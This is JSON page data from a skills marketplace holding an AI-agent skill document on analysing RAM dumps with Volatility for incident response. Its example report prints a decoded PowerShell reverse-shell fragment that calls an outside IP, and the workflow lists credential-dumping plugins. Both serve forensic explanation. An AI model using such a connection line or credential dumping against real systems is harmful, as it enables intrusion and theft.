[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ADQ928M8HEZ9F1ZPBBP4X7":3,"skill-same:01M6ADQ928M8HEZ9F1ZPBBP4X7":117},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":28,"publishedAt":45,"linkOnly":46,"markdownContent":47,"markdownBody":48,"frontMatter":49,"refName":64,"commitSha":65,"skillDirectory":66,"forksCount":67,"repositoryHtmlUrl":68,"repositoryHomepageUrl":69,"ownerHtmlUrl":70,"ownerBlogUrl":71,"ownerDescription":72,"updatedAt":73,"install":74,"resources":87},"01M6ADQ928M8HEZ9F1ZPBBP4X7","analyzing-memory-dumps-with-volatility",null,"Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection detection, or memory-resident malware investigation.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fanalyzing-memory-dumps-with-volatility\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":26,"taxonomyTypeDesc":27},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44],"memory","analyzing memory dumps with volatility","macos","malicious","linux","cybersecurity","windows","code","framework","forensics","malware","malware-analysis","memory-forensics","incident-response","Volatility","RAM-analysis","2026-11-10 10:12:30",false,"---\nname: analyzing-memory-dumps-with-volatility\ndescription: 'Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes,\n  injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory\n  forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection\n  detection, or memory-resident malware investigation.\n\n  '\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- malware\n- memory-forensics\n- Volatility\n- RAM-analysis\n- incident-response\nmitre_attack:\n- T1055\n- T1003\n- T1059\n- T1620\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\n---\n\n# Analyzing Memory Dumps with Volatility\n\n## When to Use\n\n- A compromised system's RAM has been captured and needs forensic analysis for malware artifacts\n- Detecting fileless malware that exists only in memory without persistent disk artifacts\n- Extracting encryption keys, passwords, or decrypted configuration from process memory\n- Identifying process injection, DLL injection, or process hollowing in a compromised system\n- Analyzing rootkit activity that hides from standard disk-based forensic tools\n\n**Do not use** for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.\n\n## Prerequisites\n\n- Volatility 3 installed (`pip install volatility3`) with symbol tables for target OS\n- Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)\n- Knowledge of the source OS version for correct profile\u002Fsymbol selection\n- Sufficient disk space (memory dumps can be 4-64 GB)\n- YARA rules for scanning memory for known malware signatures\n- Strings utility for extracting readable strings from memory regions\n\n## Workflow\n\n### Step 1: Identify the Memory Dump Profile\n\nDetermine the operating system and version from the memory dump:\n\n```bash\n# Volatility 3: Automatic OS detection\nvol3 -f memory.dmp windows.info\n\n# List available plugins\nvol3 -f memory.dmp --help\n\n# If symbols are needed, download from:\n# https:\u002F\u002Fdownloads.volatilityfoundation.org\u002Fvolatility3\u002Fsymbols\u002F\n\n# For Volatility 2 (legacy):\nvol2 -f memory.dmp imageinfo\nvol2 -f memory.dmp kdbgscan\n```\n\n### Step 2: Enumerate Running Processes\n\nList all processes and identify suspicious entries:\n\n```bash\n# List all processes\nvol3 -f memory.dmp windows.pslist\n\n# Process tree (parent-child relationships)\nvol3 -f memory.dmp windows.pstree\n\n# Scan for hidden\u002Funlinked processes (rootkit detection)\nvol3 -f memory.dmp windows.psscan\n\n# Compare pslist vs psscan to find hidden processes\n# Processes in psscan but not pslist are potentially hidden by rootkits\n\n# Check for process hollowing\nvol3 -f memory.dmp windows.pslist --dump\n# Then verify the dumped EXE matches the expected binary on disk\n```\n\n```\nSuspicious Process Indicators:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n- svchost.exe not spawned by services.exe (wrong parent)\n- csrss.exe\u002Flsass.exe with unusual parent process\n- Multiple instances of lsass.exe (should be only one)\n- Processes with misspelled names (scvhost.exe, lssas.exe)\n- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser\n- Processes running from unusual paths (%TEMP%, %APPDATA%)\n- Processes with no parent (orphaned - parent terminated)\n```\n\n### Step 3: Detect Malicious Code Injection\n\nScan for injected code and process hollowing:\n\n```bash\n# Detect injected code in processes (malfind)\nvol3 -f memory.dmp windows.malfind\n\n# Malfind looks for:\n# - Memory regions with PAGE_EXECUTE_READWRITE protection\n# - Memory regions containing PE headers (MZ\u002FPE signature)\n# - VAD (Virtual Address Descriptor) anomalies\n\n# Dump injected memory regions for analysis\nvol3 -f memory.dmp windows.malfind --dump --pid 2184\n\n# List loaded DLLs per process\nvol3 -f memory.dmp windows.dlllist --pid 2184\n\n# Detect hollowed processes by comparing mapped image to disk\nvol3 -f memory.dmp windows.hollowfind\n\n# Scan for loaded drivers (potential rootkit drivers)\nvol3 -f memory.dmp windows.driverscan\n\n# List kernel modules\nvol3 -f memory.dmp windows.modules\n```\n\n### Step 4: Analyze Network Connections\n\nExtract active and closed network connections:\n\n```bash\n# List all network connections (active and listening)\nvol3 -f memory.dmp windows.netscan\n\n# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner\n\n# Filter for established connections to external IPs\nvol3 -f memory.dmp windows.netscan | grep ESTABLISHED\n\n# For older Windows (XP\u002F2003):\nvol3 -f memory.dmp windows.netstat\n\n# Cross-reference PIDs with process list\n# Suspicious: svchost.exe connected to external IP on non-standard port\n# Suspicious: notepad.exe or calc.exe with network connections\n```\n\n### Step 5: Extract Artifacts and Credentials\n\nRecover sensitive data from memory:\n\n```bash\n# Dump process memory for a specific PID\nvol3 -f memory.dmp windows.memmap --dump --pid 2184\n\n# Extract command-line history\nvol3 -f memory.dmp windows.cmdline\n\n# Extract environment variables\nvol3 -f memory.dmp windows.envars --pid 2184\n\n# Registry analysis (extract Run keys for persistence)\nvol3 -f memory.dmp windows.registry.printkey \\\n  --key \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\n\n# Extract hashed\u002Fcached credentials\nvol3 -f memory.dmp windows.hashdump\nvol3 -f memory.dmp windows.cachedump\nvol3 -f memory.dmp windows.lsadump\n\n# Extract clipboard contents\nvol3 -f memory.dmp windows.clipboard\n\n# File extraction from memory\nvol3 -f memory.dmp windows.filescan | grep -i \"payload\\|malware\\|suspicious\"\nvol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560\n```\n\n### Step 6: Scan Memory with YARA Rules\n\nApply YARA signatures to detect known malware in memory:\n\n```bash\n# Scan entire memory dump with YARA rules\nvol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar\n\n# Scan specific process memory\nvol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184\n\n# Built-in YARA scan for common patterns\nvol3 -f memory.dmp yarascan.YaraScan --yara-rules \"rule FindC2 { strings: \\$s1 = \\\"gate.php\\\" condition: \\$s1 }\"\n\n# Scan for encryption key material\nvol3 -f memory.dmp yarascan.YaraScan --yara-rules \"rule AES_Key { strings: \\$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \\$sbox }\"\n```\n\n### Step 7: Timeline and Report Generation\n\nCreate an analysis timeline and compile findings:\n\n```bash\n# Generate comprehensive timeline\nvol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv\n\n# Timeline includes:\n# - Process creation\u002Fexit times\n# - Network connection timestamps\n# - Registry modification times\n# - File access times\n\n# Export process list for reporting\nvol3 -f memory.dmp windows.pslist --output csv > processes.csv\n\n# Export network connections\nvol3 -f memory.dmp windows.netscan --output csv > network.csv\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Memory Forensics** | Analysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk |\n| **Process Hollowing** | Malware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution |\n| **Malfind** | Volatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs |\n| **VAD (Virtual Address Descriptor)** | Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing |\n| **EPROCESS** | Windows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools |\n| **Pool Tag Scanning** | Memory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked |\n| **Fileless Malware** | Malware that operates entirely in memory without creating files on disk; only detectable through memory forensics |\n\n## Tools & Systems\n\n- **Volatility 3**: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture\n- **WinPmem**: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis\n- **LiME (Linux Memory Extractor)**: Loadable kernel module for capturing Linux system memory dumps\n- **Rekall**: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)\n- **MemProcFS**: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis\n\n## Common Scenarios\n\n### Scenario: Detecting Fileless Malware After EDR Alert\n\n**Context**: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.\n\n**Approach**:\n1. Run `windows.pstree` to identify the process chain (which process spawned PowerShell)\n2. Run `windows.malfind` to detect injected code in running processes\n3. Dump the suspicious process memory and extract strings for C2 URLs\n4. Run `windows.netscan` to identify network connections from the compromised processes\n5. Run `windows.cmdline` to see what commands PowerShell executed\n6. Scan with YARA rules for known malware families in the dumped process memory\n7. Extract credentials with `hashdump` and `lsadump` to assess lateral movement risk\n\n**Pitfalls**:\n- Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)\n- Not comparing `pslist` vs `psscan` output (missing rootkit-hidden processes)\n- Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)\n- Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)\n\n## Output Format\n\n```\nMEMORY FORENSICS ANALYSIS REPORT\n===================================\nDump File:        memory.dmp\nDump Size:        16 GB\nOS Version:       Windows 10 21H2 (Build 19044)\nCapture Tool:     WinPmem 4.0\nCapture Time:     2025-09-15 14:35:00 UTC\n\nSUSPICIOUS PROCESSES\nPID   PPID  Name              Path                                    Anomaly\n2184  1052  svchost.exe       C:\\Users\\Admin\\AppData\\Temp\\svchost.exe Wrong path\n4012  2184  powershell.exe    C:\\Windows\\System32\\powershell.exe      Child of fake svchost\n3456  4012  cmd.exe           C:\\Windows\\System32\\cmd.exe             Spawned by PowerShell\n\nCODE INJECTION DETECTED (malfind)\nPID 852 (explorer.exe):\n  Address: 0x00400000  Size: 98304  Protection: PAGE_EXECUTE_READWRITE\n  Header: MZ (embedded PE detected)\n  SHA-256 of dump: abc123def456...\n\nNETWORK CONNECTIONS\nPID   Process         Local           Foreign              State\n2184  svchost.exe     10.1.5.42:49152 185.220.101.42:443   ESTABLISHED\n4012  powershell.exe  10.1.5.42:49200 91.215.85.17:8080    ESTABLISHED\n\nEXTRACTED CREDENTIALS\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0\n\nCOMMAND LINE HISTORY\nPID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==\n  Decoded: $client = New-Object System.Net.Sockets.TCPClient(\"185.220.101.42\",443)\n\nYARA MATCHES\nPID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }\n\nTIMELINE\n14:10:00  svchost.exe (PID 2184) created from C:\\Users\\Admin\\AppData\\Temp\\\n14:10:05  Network connection to 185.220.101.42:443 established\n14:12:30  powershell.exe (PID 4012) spawned by svchost.exe\n14:15:00  Code injection into explorer.exe (PID 852) detected\n14:20:00  Credential dump from LSASS process\n```\n","# Analyzing Memory Dumps with Volatility\n\n## When to Use\n\n- A compromised system's RAM has been captured and needs forensic analysis for malware artifacts\n- Detecting fileless malware that exists only in memory without persistent disk artifacts\n- Extracting encryption keys, passwords, or decrypted configuration from process memory\n- Identifying process injection, DLL injection, or process hollowing in a compromised system\n- Analyzing rootkit activity that hides from standard disk-based forensic tools\n\n**Do not use** for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.\n\n## Prerequisites\n\n- Volatility 3 installed (`pip install volatility3`) with symbol tables for target OS\n- Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)\n- Knowledge of the source OS version for correct profile\u002Fsymbol selection\n- Sufficient disk space (memory dumps can be 4-64 GB)\n- YARA rules for scanning memory for known malware signatures\n- Strings utility for extracting readable strings from memory regions\n\n## Workflow\n\n### Step 1: Identify the Memory Dump Profile\n\nDetermine the operating system and version from the memory dump:\n\n```bash\n# Volatility 3: Automatic OS detection\nvol3 -f memory.dmp windows.info\n\n# List available plugins\nvol3 -f memory.dmp --help\n\n# If symbols are needed, download from:\n# https:\u002F\u002Fdownloads.volatilityfoundation.org\u002Fvolatility3\u002Fsymbols\u002F\n\n# For Volatility 2 (legacy):\nvol2 -f memory.dmp imageinfo\nvol2 -f memory.dmp kdbgscan\n```\n\n### Step 2: Enumerate Running Processes\n\nList all processes and identify suspicious entries:\n\n```bash\n# List all processes\nvol3 -f memory.dmp windows.pslist\n\n# Process tree (parent-child relationships)\nvol3 -f memory.dmp windows.pstree\n\n# Scan for hidden\u002Funlinked processes (rootkit detection)\nvol3 -f memory.dmp windows.psscan\n\n# Compare pslist vs psscan to find hidden processes\n# Processes in psscan but not pslist are potentially hidden by rootkits\n\n# Check for process hollowing\nvol3 -f memory.dmp windows.pslist --dump\n# Then verify the dumped EXE matches the expected binary on disk\n```\n\n```\nSuspicious Process Indicators:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n- svchost.exe not spawned by services.exe (wrong parent)\n- csrss.exe\u002Flsass.exe with unusual parent process\n- Multiple instances of lsass.exe (should be only one)\n- Processes with misspelled names (scvhost.exe, lssas.exe)\n- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser\n- Processes running from unusual paths (%TEMP%, %APPDATA%)\n- Processes with no parent (orphaned - parent terminated)\n```\n\n### Step 3: Detect Malicious Code Injection\n\nScan for injected code and process hollowing:\n\n```bash\n# Detect injected code in processes (malfind)\nvol3 -f memory.dmp windows.malfind\n\n# Malfind looks for:\n# - Memory regions with PAGE_EXECUTE_READWRITE protection\n# - Memory regions containing PE headers (MZ\u002FPE signature)\n# - VAD (Virtual Address Descriptor) anomalies\n\n# Dump injected memory regions for analysis\nvol3 -f memory.dmp windows.malfind --dump --pid 2184\n\n# List loaded DLLs per process\nvol3 -f memory.dmp windows.dlllist --pid 2184\n\n# Detect hollowed processes by comparing mapped image to disk\nvol3 -f memory.dmp windows.hollowfind\n\n# Scan for loaded drivers (potential rootkit drivers)\nvol3 -f memory.dmp windows.driverscan\n\n# List kernel modules\nvol3 -f memory.dmp windows.modules\n```\n\n### Step 4: Analyze Network Connections\n\nExtract active and closed network connections:\n\n```bash\n# List all network connections (active and listening)\nvol3 -f memory.dmp windows.netscan\n\n# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner\n\n# Filter for established connections to external IPs\nvol3 -f memory.dmp windows.netscan | grep ESTABLISHED\n\n# For older Windows (XP\u002F2003):\nvol3 -f memory.dmp windows.netstat\n\n# Cross-reference PIDs with process list\n# Suspicious: svchost.exe connected to external IP on non-standard port\n# Suspicious: notepad.exe or calc.exe with network connections\n```\n\n### Step 5: Extract Artifacts and Credentials\n\nRecover sensitive data from memory:\n\n```bash\n# Dump process memory for a specific PID\nvol3 -f memory.dmp windows.memmap --dump --pid 2184\n\n# Extract command-line history\nvol3 -f memory.dmp windows.cmdline\n\n# Extract environment variables\nvol3 -f memory.dmp windows.envars --pid 2184\n\n# Registry analysis (extract Run keys for persistence)\nvol3 -f memory.dmp windows.registry.printkey \\\n  --key \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\n\n# Extract hashed\u002Fcached credentials\nvol3 -f memory.dmp windows.hashdump\nvol3 -f memory.dmp windows.cachedump\nvol3 -f memory.dmp windows.lsadump\n\n# Extract clipboard contents\nvol3 -f memory.dmp windows.clipboard\n\n# File extraction from memory\nvol3 -f memory.dmp windows.filescan | grep -i \"payload\\|malware\\|suspicious\"\nvol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560\n```\n\n### Step 6: Scan Memory with YARA Rules\n\nApply YARA signatures to detect known malware in memory:\n\n```bash\n# Scan entire memory dump with YARA rules\nvol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar\n\n# Scan specific process memory\nvol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184\n\n# Built-in YARA scan for common patterns\nvol3 -f memory.dmp yarascan.YaraScan --yara-rules \"rule FindC2 { strings: \\$s1 = \\\"gate.php\\\" condition: \\$s1 }\"\n\n# Scan for encryption key material\nvol3 -f memory.dmp yarascan.YaraScan --yara-rules \"rule AES_Key { strings: \\$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \\$sbox }\"\n```\n\n### Step 7: Timeline and Report Generation\n\nCreate an analysis timeline and compile findings:\n\n```bash\n# Generate comprehensive timeline\nvol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv\n\n# Timeline includes:\n# - Process creation\u002Fexit times\n# - Network connection timestamps\n# - Registry modification times\n# - File access times\n\n# Export process list for reporting\nvol3 -f memory.dmp windows.pslist --output csv > processes.csv\n\n# Export network connections\nvol3 -f memory.dmp windows.netscan --output csv > network.csv\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Memory Forensics** | Analysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk |\n| **Process Hollowing** | Malware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution |\n| **Malfind** | Volatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs |\n| **VAD (Virtual Address Descriptor)** | Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing |\n| **EPROCESS** | Windows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools |\n| **Pool Tag Scanning** | Memory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked |\n| **Fileless Malware** | Malware that operates entirely in memory without creating files on disk; only detectable through memory forensics |\n\n## Tools & Systems\n\n- **Volatility 3**: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture\n- **WinPmem**: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis\n- **LiME (Linux Memory Extractor)**: Loadable kernel module for capturing Linux system memory dumps\n- **Rekall**: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)\n- **MemProcFS**: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis\n\n## Common Scenarios\n\n### Scenario: Detecting Fileless Malware After EDR Alert\n\n**Context**: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.\n\n**Approach**:\n1. Run `windows.pstree` to identify the process chain (which process spawned PowerShell)\n2. Run `windows.malfind` to detect injected code in running processes\n3. Dump the suspicious process memory and extract strings for C2 URLs\n4. Run `windows.netscan` to identify network connections from the compromised processes\n5. Run `windows.cmdline` to see what commands PowerShell executed\n6. Scan with YARA rules for known malware families in the dumped process memory\n7. Extract credentials with `hashdump` and `lsadump` to assess lateral movement risk\n\n**Pitfalls**:\n- Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)\n- Not comparing `pslist` vs `psscan` output (missing rootkit-hidden processes)\n- Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)\n- Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)\n\n## Output Format\n\n```\nMEMORY FORENSICS ANALYSIS REPORT\n===================================\nDump File:        memory.dmp\nDump Size:        16 GB\nOS Version:       Windows 10 21H2 (Build 19044)\nCapture Tool:     WinPmem 4.0\nCapture Time:     2025-09-15 14:35:00 UTC\n\nSUSPICIOUS PROCESSES\nPID   PPID  Name              Path                                    Anomaly\n2184  1052  svchost.exe       C:\\Users\\Admin\\AppData\\Temp\\svchost.exe Wrong path\n4012  2184  powershell.exe    C:\\Windows\\System32\\powershell.exe      Child of fake svchost\n3456  4012  cmd.exe           C:\\Windows\\System32\\cmd.exe             Spawned by PowerShell\n\nCODE INJECTION DETECTED (malfind)\nPID 852 (explorer.exe):\n  Address: 0x00400000  Size: 98304  Protection: PAGE_EXECUTE_READWRITE\n  Header: MZ (embedded PE detected)\n  SHA-256 of dump: abc123def456...\n\nNETWORK CONNECTIONS\nPID   Process         Local           Foreign              State\n2184  svchost.exe     10.1.5.42:49152 185.220.101.42:443   ESTABLISHED\n4012  powershell.exe  10.1.5.42:49200 91.215.85.17:8080    ESTABLISHED\n\nEXTRACTED CREDENTIALS\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0\n\nCOMMAND LINE HISTORY\nPID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==\n  Decoded: $client = New-Object System.Net.Sockets.TCPClient(\"185.220.101.42\",443)\n\nYARA MATCHES\nPID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }\n\nTIMELINE\n14:10:00  svchost.exe (PID 2184) created from C:\\Users\\Admin\\AppData\\Temp\\\n14:10:05  Network connection to 185.220.101.42:443 established\n14:12:30  powershell.exe (PID 4012) spawned by svchost.exe\n14:15:00  Code injection into explorer.exe (PID 852) detected\n14:20:00  Credential dump from LSASS process\n```\n",{"name":5,"tags":50,"author":51,"domain":34,"license":15,"version":52,"nist_csf":53,"subdomain":40,"description":58,"mitre_attack":59},[39,41,43,44,42],"mahipal","1.0.0",[54,55,56,57],"DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01","Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection detection, or memory-resident malware investigation.\n",[60,61,62,63],"T1055","T1003","T1059","T1620","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fanalyzing-memory-dumps-with-volatility",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":75,"prompt":85,"zipAvailable":86},[76,79,82],{"tool":77,"command":78},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill analyzing-memory-dumps-with-volatility",{"tool":80,"command":81},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill analyzing-memory-dumps-with-volatility",{"tool":83,"command":84},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill analyzing-memory-dumps-with-volatility","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fanalyzing-memory-dumps-with-volatility\u002FSKILL.md",true,[88,94,100,105,109,113],{"path":89,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"deps\u002Ffixture-process-hard\u002Findex.js","SCRIPT","脚本",290,"https:\u002F\u002Fgithub.com\u002Fnodetool-ai\u002Fnodetool\u002Fblob\u002Fmain\u002Fpackages\u002Fsandbox-compiler\u002Ftests\u002Ffixtures\u002Fprocess-hard\u002Fdeps\u002Ffixture-process-hard\u002Findex.js",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"deps\u002Ffixture-process-hard\u002Fpackage.json","REFERENCE","参考文档",167,"https:\u002F\u002Fgithub.com\u002Fnodetool-ai\u002Fnodetool\u002Fblob\u002Fmain\u002Fpackages\u002Fsandbox-compiler\u002Ftests\u002Ffixtures\u002Fprocess-hard\u002Fdeps\u002Ffixture-process-hard\u002Fpackage.json",{"path":101,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fanalyzing-memory-dumps-with-volatility\u002FLICENSE",{"path":106,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":107,"sourceHtmlUrl":108},"package.json",287,"https:\u002F\u002Fgithub.com\u002Fnodetool-ai\u002Fnodetool\u002Fblob\u002Fmain\u002Fpackages\u002Fsandbox-compiler\u002Ftests\u002Ffixtures\u002Fprocess-hard\u002Fpackage.json",{"path":110,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":111,"sourceHtmlUrl":112},"references\u002Fapi-reference.md",3085,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fanalyzing-memory-dumps-with-volatility\u002Freferences\u002Fapi-reference.md",{"path":114,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":115,"sourceHtmlUrl":116},"scripts\u002Fagent.py",9024,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fanalyzing-memory-dumps-with-volatility\u002Fscripts\u002Fagent.py",[118,144,168,195,220,246],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":125,"publishedAt":45},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[124],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[126,127,128,129,130,34,131,132,133,36,134,135,136,137,138,139,140,141,142,143],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":145,"name":146,"nameZh":6,"description":147,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":151,"publishedAt":45},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[150],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[152,140,153,154,130,155,34,133,156,157,158,159,160,161,162,163,164,165,166,167],"boot","TPM","validating tpm measured boot 